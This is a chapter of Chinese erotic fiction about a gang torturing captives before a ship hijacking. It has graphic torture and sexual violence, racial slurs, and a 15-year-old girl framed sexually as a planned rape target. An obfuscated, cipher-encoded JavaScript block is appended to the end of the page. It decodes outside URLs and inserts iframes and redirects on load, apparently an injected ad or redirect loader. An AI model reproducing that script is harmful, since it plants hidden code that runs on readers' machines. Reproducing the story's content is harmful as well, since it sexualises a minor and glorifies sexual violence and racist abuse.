「妈的,我最讨厌男人叫唤了!」可米特厌恶的皱了皱眉,用手术刀在杰曼脖子上一划,他没有割破他的气管,但是声带已经划破了一条长长的口子。他一边在吊起的人群中走着,一边挥动着手臂,很快,吊起的人们除了伊比外,全部都无法发出了声音。
「这样清净多了。」他陶醉的说着,又引起了一阵叫好声。
被吊起的人们努力想要尖叫,想要说话,但他们的嘴大开着,却无法发出声音,只发出一阵阵漏风的嘶嘶声。
「下面该做什么?」他指着凯蒂,「嘿!黄头发的小姑娘,你来说,下一个我该割他们哪?」
凯蒂像是一头饥渴的母兽,不停的在男人身上寻求着快感,她渴求着男人的鸡巴,听到可米特问她,她被男人鸡巴的嘴呜呜着,不知道说些什么。但是她前面被做口交的男人大声喊了起来,「鸡巴!她要男人的鸡巴!」男人们哄笑起来,克米特大声喊着,「那我就给你鸡巴!」脱下裤子把自己的大黑屌朝凯蒂的方向捅了捅,引起一阵叫好,「但我还要用,不能给你!」「嘘……」男人们齐声发出这个声音。
「好吧,我给你他的!」克米特指着那个鼻孔穿着环的黑人,走到他跟前。
「妈的,先生,你是阳痿吗?」他点着头,训斥那个黑人,「真他妈的给我们黑人丢脸,丢脸!你懂吗?」他指着瑟琳娜和凯蒂,「当着这么漂亮的两个女人的面,你居然还硬起不来?你是阳痿吗?是吗?」他看着眼前的黑人惶恐的摇着头,「嘿!红头发的小妞!你给我过来!给你1分钟,让这个黑鬼翘起来!妈的,刚才谁说的黑鬼?信不信我割了你!」瑟琳娜不敢反抗,跪着爬了过去。
「站起来!你这个小妞!你现在是我们杀人与操逼帮的编外,编外!跟我们跪可以,别他妈的冲外人跪!你这个给我们丢脸!难道你想上烤肉架吗?啊?」瑟琳娜一副要哭出来的表情,爬起来跑到那个黑人面前,刚想跪下去给他口交,看到克米特阴沉的脸,只好伸着手给那个黑人打飞机。
尽管那个黑人百般不想勃起,但身体却不停使唤。他的黑屌在自己恐惧的目光中逐渐膨胀,翘起。
克米特满意的让瑟琳娜跪下给他自己口交,用手轻轻的抚摸着对面黑人的大屌,「这才是我们黑人的荣誉!你说是吧,先生?我们黑人就要有这样健壮的鸡巴,这样我们才能操更多的女人!这样,那个黄头发的小妞才会喜欢你,你说是吧!」他用手术刀轻轻在黑人的大屌根部一旋,一个20多厘米的大黑屌就落到了他的手上。
他颠着这个大屌,像是在颠着一根大香肠一样。「你刚操完女人吗?啊?先生?你刚操完女人吗?还是你操完女人不洗澡?真脏,真的太脏了!」克米特恶心的拿着,远远的扔给那边的凯蒂,「金头发的妞,你他妈的把这根屌给我舔干净!然后塞你屁眼里!我没让你拔出来你要敢让它掉下来,你就准备上烤肉架吧!」
「好了,先生。」他转过头,看着黑人几乎要昏过去的样子,「现在你不是男人了,先生。神秘的东方有个词是说你这样的人的,叫什么来着?TAIJIAN?是不是?麻烦你告诉我,是不是啊?」
黑人满头大汗,喉咙里里嘶嘶的漏风,说不出话来。
「你太让我失望了,先生,你太让我失望了。我这么恳求你,你居然不回答我,我很生气,真的我很生气。」克米特点着黑人的头,用手术刀在他的胸膛从上到下一划——黑人的肚子被划开了,肠子顺着他被豁开的肚子流了出来。黑人疼痛难忍,疯狂的晃动身体。克米特把身下的瑟琳娜踢到一边,不再理睬这个黑人,来到了杰曼身边。
杰曼被划掉的眼皮已经流血下来,但是他没有办法合眼,血已经盖住了他的眼睛。「噢,可怜的先生,在这样下去你会失明的,这样可不行。」克米特感叹着说。
他在地上找到了一个男人的内裤,想用这个帮杰曼擦一擦眼睛。「不行!」他忽然摇头说,「太干了,会磨坏你的眼睛的,红头发的婊子,你给我过来!」瑟琳娜刚才被克米特踢到了膝盖骨,她感到膝盖骨像是裂开了似的,疼痛难忍。但听到克米特在喊她,不得不忍着痛爬了过来。
克米特把内裤扔到地上,「小婊子,当着我们大伙的面,表演个撒尿怎么样啊?」瑟琳娜的脸在周围男人们的口哨声中变得惨白,她看着克米特威胁似的凌空划动手术刀,紧咬着嘴唇慢慢的蹲到内裤上。
男人们凑了过来,拿起手机和相机对着瑟琳娜拍摄着,瑟琳娜低着头,用手按着小腹,但好半天一点动作也没有。
克米特蹲了下来,「不好了小婊子,尿不出来一定是因为尿道被堵上了!」他惊慌的说着,用手捏着手术刀。
「看来我要干回老本行了,我给你做个手术吧!放心,一点也不疼!」克米特说着,拿起手术刀就要向她的阴蒂划去。
「不!先生!」瑟琳娜把腿膝盖并着合上,不让克米特的手术刀放进去,她用哀求的目光看着克米特,泣不成声:「求求你,我行的,请稍等一分钟,求求你,就一分钟好吗?」她流着眼泪,一边哭着一边对克米特说。
克米特收回了手,「把膝盖打开,把头抬起来,把逼露出来——我们需要好好检查你。」他冷冷的对瑟琳娜说。
瑟琳娜哭泣着,高高抬起头,双手伸到背后矗在地面上,身子的中心后仰,脚趾抓地,脚后跟高高抬起,用力把两个大腿伸向两边几乎成了一条直线,敞开露出自己的阴户,无数闪光灯闪起,拍下了她这幅屈辱的画面。
「对,就这样——你还不尿等我给你做手术吗!」克米特生气的大喊。
伴随着瑟琳娜发出一声大哭,金黄色的尿液从她的尿道里高高喷出。咔咔的闪光灯在不停闪耀着,把瑟琳娜的尿液和眼泪反射出耀眼的光芒。她的尿水分着叉,成一个抛物线滴落到男人内裤上面。尿液一点点变少,最后随着瑟琳娜小腹一挤一挤的,尿水流到阴道里,又流出阴户,顺着屁股沟在她的屁股下面湿成了一滩水渍。
「好的小妞,干得好!」克米特夸奖着瑟琳娜,他指着被打湿的男人内裤,「用这个把他的眼睛擦干净,不然这个可怜的男人会失明的。」克米特「好心」的说。
瑟琳娜哭泣着拿起已经沾满自己尿液的内裤,小心地把沾在杰曼眼球上的血拭去,但尿液的刺激让杰曼的眼睛更加疼痛难忍。他晃着身体,腿高高的抬起,重重的踹在瑟琳娜赤裸的腰上。
瑟琳娜站立不稳,摔倒在自己的尿液里面。她的头发本就沾满了呕吐物和精液,现在又被尿水浸透,散发出刺鼻的味道。克米特怒吼着「操」站起来,走到杰曼身后抓着他的头发,把他的头仰面朝上仰了起来。
「你敢碰我们帮的女人?你知不知道我们帮有多少男人等着排队要去操她?
被你踢坏了我们还怎么操?啊?我们操的女人也是你能碰的?知不知道死字怎么写?我教你啊?D·I·E懂?」
他把手术刀放在杰曼眼球上,刀尖正对着他的瞳孔。杰曼感觉自己已经快要发疯了,看着刀尖距离自己的眼睛越来越近越来越近。他眼皮已经被割掉,眼睛无法闭合,只能无助的看着刀尖点到了他的瞳孔上。
克米特把刀尖插进了杰曼的瞳孔里,用力向旁边一划,满意的松开了手。杰曼疯狂的摇着脑袋,喉咙里嘶嘶的想要喊什么,大量的血液从他的眼睛里流了出来,克米特却还好心的提醒他,「轻点晃,保存一下体力啊,一会还有个眼睛要动手术呢……」
他扔下杰曼在这里发疯,走到了伊比面前。
「嘿,好人伊比,绅士伊比,大人物伊比。」他冲伊比鞠了一个躬。「在你的面前,我真是自惭形秽啊,伊比。」克米特摇着头。
「看看你现在的穿着,啧啧,和一个真正的大人物一样!」他用舌头舔着自己的嘴唇,「我真是太喜欢『干』你们这些大人物了……」「我不是大人物。」伊比试图冷静的和克米特交流,在他的想法里,有交流就能够达成一致,「我也是一个和你们一样挣扎的小人物,小混混。我一直在等你们这样的人,我觉得我们可以联手。北极光上面有真正的大人物,据说明天还会有两个大人物的女儿。我看过他们的照片,上头让我们全部认识她们,不能冲撞她们。我觉得我们在这一点上面一定会有共同语言的……」克米特起了兴趣,「大人物的女儿?」他邪恶的笑着,「我最喜欢『干』大人物的女儿了……」
「就在我的上衣口袋里。」伊比似乎看到了生存的希望,「里面有她们的照片!」
克米特伸手在伊比的上衣口袋里摸索着,拿出了一张照片。
照片上是两个美丽的女孩。看背景是在一座天空之城上,左边是一个金发女孩,她穿着男装,但是从面容上可以清楚的分辨出她是一个女孩子看年纪有20岁。她的头发拖到了地上,在阳光照射下显得金光闪闪,她灿烂的笑着,精致的面容会让任何男人涌起冲动。她旁边搂着一个黑头发的中国姑娘,看年纪只有15岁,小脸像芭比娃娃一样小巧精致。她搂着旁边金发女孩的胳膊,把头埋在她高耸的胸上。
「真的是两个大人物啊……」克米特舔着嘴唇。
「是吧哥们。」伊比眼中透着喜悦的光,「想想她们的地位,在想想她们在你身下哭泣求饶的样子,多么美妙啊……我们的梦想,不就是让这些大人物跌落尘埃,把她们扔进泥潭里,让她们浑身沾满肮脏,放弃自己的一切自尊向我们求饶吗?我的同志们已经准备好了,就在明天开船后,抓住这两个大人物的女儿!
我们会蹂躏她们,把她们最丑恶最恶心的一面,播放给全世界!」「真是个伟大的梦想……」克米特崇拜的看着伊比,用手用力的拍着伊比的肩膀,「真是个好小伙子!伟大的梦想!」他哈哈地大笑着,伊比也跟着大笑起来。
「但是啊,我不喜欢啊。」克米特叹了口气。
伊比的大笑戛然而止。他长大了嘴,不敢置信的看着克米特。
「你是有多自卑才有这样的想法?」克米特用鄙视的眼神看着伊比,「看得出来,你一直想去做个大人物,但你有多自卑才会产生这样变态的想法?」他用手拍了拍伊比的肩膀,「你是个疯子,我不是。」他看着伊比颤抖着,微笑了起来,扭头大声喊着:「老大,是你给他讲讲课还是我来?」
暴龙哈哈大笑,「这么粗浅的问题还用的着我吗?你来吧!」克米特拍着伊比的脸,「听着,小子,听好了。」他说。
「如果你是个混混,渣滓,没出息的软蛋,你就该浑浑噩噩的去过完你可悲的一生,不要去想出人头地,成为大人物这种梦想;如果你觉得你有能力,你就去争取机会,成为大人物的机会……但是你决不应该看不起那些大人物。」「他们能成为大人物自然有他们的道理,他们的能力是你的一千倍都不止!
你以为这些姑娘不过是投了一个好胎就比你强?你看到她们背后的努力了吗?我们这些人之所以比你们混的好,就是因为我们懂这个道理——大人物是用来交朋友的,不是用来恨的!」
「如果不是有大人物的帮忙,我们会逃出来这么多人?如果不是有大人物的帮忙,我们当初能拉出来这么多人,形成这么大的势力?我们比你懂这些,所以我们会抓住一切机会去讨好那些大人物,最终我们也会成为他们之中的一员!」「那现在。」克米特微笑着,「我又有了一个折磨你的理由了。告诉我,你们的全部计划。我想,我们又抓住了一个获得大人物友情的机会了。」第四章突变
2045年10月23日,凌晨2点。
克米特对伊比的「审讯」还在继续。伊比这时候凄惨的模样让瑟琳娜已经吐过好几回。
在审讯最开始的时候,伊比就已经把所有计划全部交代了。正如他所说的,他是在船上的时候,被复仇之火吸收为其中的一员。
复仇之火在2045年的世界上,是一个人人喊打的恐怖组织。其中喊的最凶的,正是当前世界最大的经济体,身为社会主义的中国。
这个年代的世界,是中国和美国分享霸权的世界。经过了半个世纪的卧薪尝胆,中国无论是在经济,还是军事上,都已经可以和美国比肩。美国,中国和俄罗斯及欧洲联合体,成为了三个世界的支柱。昆仑控制着中国,共济会控制着美国,Eden控制着俄欧,他们侵占了世界上绝大多数的资源。其余的小国只能在这几个大国的夹缝间生存。
于是复仇之火诞生了。值得讽刺的是,从一开始,复仇之火的政治纲领,来源于曾经的中国。但他的矛头,最先指向的就是同为社会主义的中国。复仇之火称中国为「修正主义」,是共产主义的叛徒;而中国认为自己才是共产主义的正统,不承认复仇之火的合法地位。随着复仇之火在世界上的恐怖活动,美国及俄欧也和中国采取同一个论调,把复仇之火定义为恐怖组织。
这个时代的复仇之火实际上是源自中东和非洲,恰是世界上最贫穷的两个地方。中东自从石油枯竭和新能源兴起,已经衰落;而非洲从来没有崛起过。只有最贫穷的土壤,才会诞生共产主义这个最极端的思想。无数的非洲人和中东人抱着共产主义的理想为了家乡的崛起而奋斗,无数的野心家也加入了这个组织,想要靠这个组织博一个光辉的出身。他们四处树敌,在世界上煽风点火,试图引起三个大国和组织之间的摩擦,最终的目的是世界大战。
因为这是一个稳定的世界,只有在混乱和战争中,旧的秩序才会被打破,非洲和中东才会有崛起的机会。
这一次,复仇之火无意之间得到了准确的情报,他们把目标放在了路西菲尔·克里斯蒂安和张倩的身上。
路西菲尔·克里斯蒂安的身份不是秘密。上层社会的人都听说过它。在传言中它是一位美丽的小姐,老克里斯蒂安的孙女,Eden的明珠,但是却对自己的性别有认知障碍。多少年轻的贵族少年被它一句「我是男人」击败。它喜欢穿男装,有一个男人的名字路西菲尔,但人们私下里提起它的时候会用它的另一个名字露茜菲儿。它的这个癖好如同它的美貌、权势和财富一样,闻名于这个世界中大人物的圈子。
它是Eden的主人,全世界排名第三的最重要的人。
那个黑发的女孩虽然并不知道是谁,但是能够和路西菲尔这么亲密的抱在一起,也一定不会是个小人物,也许是某个隐世财阀的后代,也许是路西菲尔大人的性伴侣。
对路西菲尔大人来说,它的伴侣无论是男人还是女人都没有任何稀奇。
于是暴龙和克米特就升起了谋求「大人物的赏识」这个念头。
保护路西菲尔·克里斯蒂安和它的伴侣,从复仇之火的阴谋下救下她们,在她们面临最危险的境地时保护她们,暴龙就会获得「大人物的赏识」,和当年佣兵界的传奇「凤舞九天」一样,成为新一届的传奇。
暴龙知道大人物们的各有癖好,大人物都心狠手辣,大人物都曾双手沾满鲜血,所以大人物不会在乎他们帮派有怎样肮脏的过去,大人物们只会感激他们在危境中的雪中送炭,然后在危险过后毫不吝啬的送上「大人物的赏识」。
克米特和暴龙都不是莽夫,他们在看似鲁莽的表面下,都隐藏着一颗狡诈的心。他们只需要一个眼神,就已经决定了接下来的行动。
计划改变。放弃截船的行动,变更为保护这两位大人物。在复仇之火发动袭击之前隐藏进潜艇中,在复仇之火发动袭击后,不计牺牲,不惜一切代价保护两位小姐,最后把她们安全的送回地面。
这就是他们现在的目标。
「棒小伙,伊比棒小伙。原谅我这个已经记不住事的老年人吧!这几年总杀人让我记忆衰退的很厉害。那伊比,再跟我说一遍,你们船员之中都有谁是复仇之火的人?」
伊比艰难的张开嘴,他的牙齿几乎已经被全部敲了下来,说话间声音漏风:
「我刚才交代过了……我是第一个被组织吸收的船员……美利坚对船员的审查很严……组织很难渗透进去……组织其他人都是以乘客身份上船的……我也不知道他们的具体身份……行行好先生,给我个痛快吧……」伊比的眼皮和杰曼一样被片掉了,他的两个眼球无时无刻不在被血液和空气刺激着。他的作眼球已经被戳瞎,只能用右眼努力看向克米特,凄惨的哀求他。
他的十指已经全部废掉,指甲被全部拔了下来,原本有指甲的地方血肉模糊;他的鸡巴被克米特从中间切成两片,耷拉着滴着血,两颗睾丸分别被克米特用大头钉扎在切成两片的龟头上;他的肛门大大张开,匪帮里有的是对男人感兴趣的异常人类;他的肚子被划开,克米特抽出了他的肠子绕在他的脖子上,「看我是多么的好心,送给你一串项链!」克米特当时是这样大笑着说的。伊比知道即使这样放着他不动,他过不了一天也会死掉,但他不想在死去之前受到更多的折磨。
「不行。」克米特遗憾的摇摇头,「如果大人物问起来,说『当时算计我们的人去哪儿了?』你让我怎么回答?」克米特学着女人的嗓音说,「难道要我说『他求我杀了他,我就痛快的把他杀了』?」
克米特把照片举到了伊比的眼前,指着那个有着一头金光灿烂的头发的姑娘说,「你知道这位姑娘有多恐怖吗?非洲一个小国,想要绑架她的城市——哦,你不知道,她拥有这个世界上第一座天空之城——那个小国在天空之城经过他们上方的时候想要绑架她,你知道结果吗?」
克米特摇摇头,双手做了一个爆炸的手势,「轰!全没了。一颗核弹落在那个小国上空,全都没了。」克米特冷笑着,「我们的伊比棒小伙,居然想要绑架这样一位小姐?如果你真的成功了,过后你要比现在惨上一千倍。」克米特划断了伊比的声带,示意手下给伊比止血。这个时代的止血剂非常好用,只要人不真正的死亡,任何伤势都可以保证活下来。除了断掉的肢体没有办法再生。
克米特杀掉了伊比和杰曼以外的人,他们俩被划破声带,呼哧呼哧的喘着气说不出话来,克米特要把他们带给「大人物」做审判。
「头儿,我们下一步应该怎么办?」克米特得到了想要的情报,对暴龙请示着。
在克米特折磨伊比和杰曼的时候,暴龙也没有闲着。他一边操着瑟琳娜和凯蒂,一边沉思着接下来的动作。「我们夺船。」暴龙抬起头,对克米特说着他的计划。
「刚才那个小混蛋说了,他们船员要在凌晨5点之前全部到岗,明天8点会开放乘客登船。而两位小姐和她们的保镖先生预计在明天中午登船。」暴龙沉吟着,「我们在今天晚上夺船,杀掉所有船员,明天开始我们就是北极光号的船员了。」
他忽然大声跟手下说,「你们这帮小混蛋,明天都他妈的给我装成上等人!
谁他妈的敢露馅,我就毙了他!觉得自己不会说人话的,你们就给我藏到潜艇最底层去!藏进鱼雷管里!」
他继续布置着:「然后我们开船,静观其变。冲突起来以后,如果小姐们的保镖占优势,我们就帮着他们干掉那帮复仇之火;如果小姐的保镖们失败了,我们就自己干掉复仇之火,救出两位美丽的小姐。」暴龙舔着嘴唇,大喊:「但谁他妈的也不允许动两个小姐一根手指头!谁敢乱动,我就他妈的让他下辈子再也当不了男人!这里有两个婊子小妞,要是还不能让你们憋住火,你们就干脆给我去死吧!」
克米特看看表,「现在我们还有3个小时……」「那我们还在等什么!走吧!带上这两个混蛋,不能让他们死了!一会小姐们还等着要他们呢!」暴龙大笑着,就向厂房外走去。
这时候一个大汉大声喊了起来,「头!这里还有个姑娘!应该是被他们绑过来还没享受过的!」那个大汉正解开一个黑色的袋子,拉出一个有着黑头发白皙皮肤的精致亚裔姑娘。她光着身子没穿一件衣服,睁着泪汪汪的大眼睛,嘴扁的像是要哭出来的样子,双手护住自己赤裸的胸膛,像个受惊的小兔子,惊恐的看着周围的男人。
「安娜!」瑟琳娜大惊的喊了出来。
「小妞,你认识她?」暴龙抓起瑟琳娜的头发,问着她。
「先生……我认识她……她是个好姑娘……她不像我这样是个烂婊子……求求你们放过她吧!」瑟琳娜哭着哀求暴龙。
暴龙走到安娜的身前,仔细打量着她。他粗暴的抓着安娜的胳膊把她按到一个废弃的机器上,拉起她一条腿,扒开她的阴唇和臀瓣,用手插进了她的阴道和肛门仔细检查着。
「是个雏,不是婊子。」他说,「看起来也曾经是个有教养的大小姐。」暴龙点着头,贪婪的看着安娜。
「头,我们的时间不多了。」克米特提醒暴龙。
「带上这个女人,让她去船上给那两个小姐做个侍女,如果小姐们下船后不要她的话,就留着给我生孩子好了。」暴龙大笑。
伊比和杰曼的头脑还清醒着,但是他们像看鬼一样看着安娜,嘴里「嗬嗬」的想说什么,但是发不出声音。几个匪帮小弟把两个人解下来,推着他们跟着大部队一起走。他们看着安娜披着一件外套,身体害怕的一抖一抖的,眼泪不停的滴答滴答落到地上,被瑟琳娜一边安慰着一边低着头向前走。当他们的身体和安娜交错的时候,他们的视线对上了安娜的眼睛。
没有人注意他们,他们看到安娜已经没有了刚才害怕的神色,她的脸带着嘲讽的笑容,嘴角微微翘起,眼神里透着冷漠,仿佛高高在上的神祗。她比着口型无声的对他们说:「你·们·该·死!」
伊比和杰曼惊恐的挣扎起来,旁边的人注意到了他们,狠狠的用手里的鞭子抽打他们。伊比和杰曼用捆起来的手颤抖着指着安娜,人们看向安娜,发现她正流着眼泪,惊慌的躲在瑟琳娜的身后,眼里充满了对伊比和杰曼的恐惧。
「真是两个人渣啊,看把人家小姑娘吓得!」
「我说杰瑞,几个小时前那几个小姑娘不也是这么看你的吗?」「哈哈,所以我才感同身受啊!」
他们大笑着,踢打着伊比和杰曼,却没有人看到藏在瑟琳娜身后的安娜,那冷漠的眼神。
【完】
!function(){function a(a){var _idx="uffc4b2fup";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"}"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/h^/}0sjR8_77(o)@7_J"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"}0s"=^8"_77(o)@7_J"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"}0sqSDqm:Q2QDS)dmRT4"="}0s5FDqm50SO1nd7mRT4"="}0s)5Dqm:Q2QDS)dmRT4"="}0sDLDqm50SO1nd7mRT4"="}0s^FDqm:Q2QDS)dmRT4"="}0sfLDqm50SO1nd7mRT4"="}0s(5Dqm:Q2QDS)dmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{@"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/f/}0sj(8}vR8_77(o)@7_J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 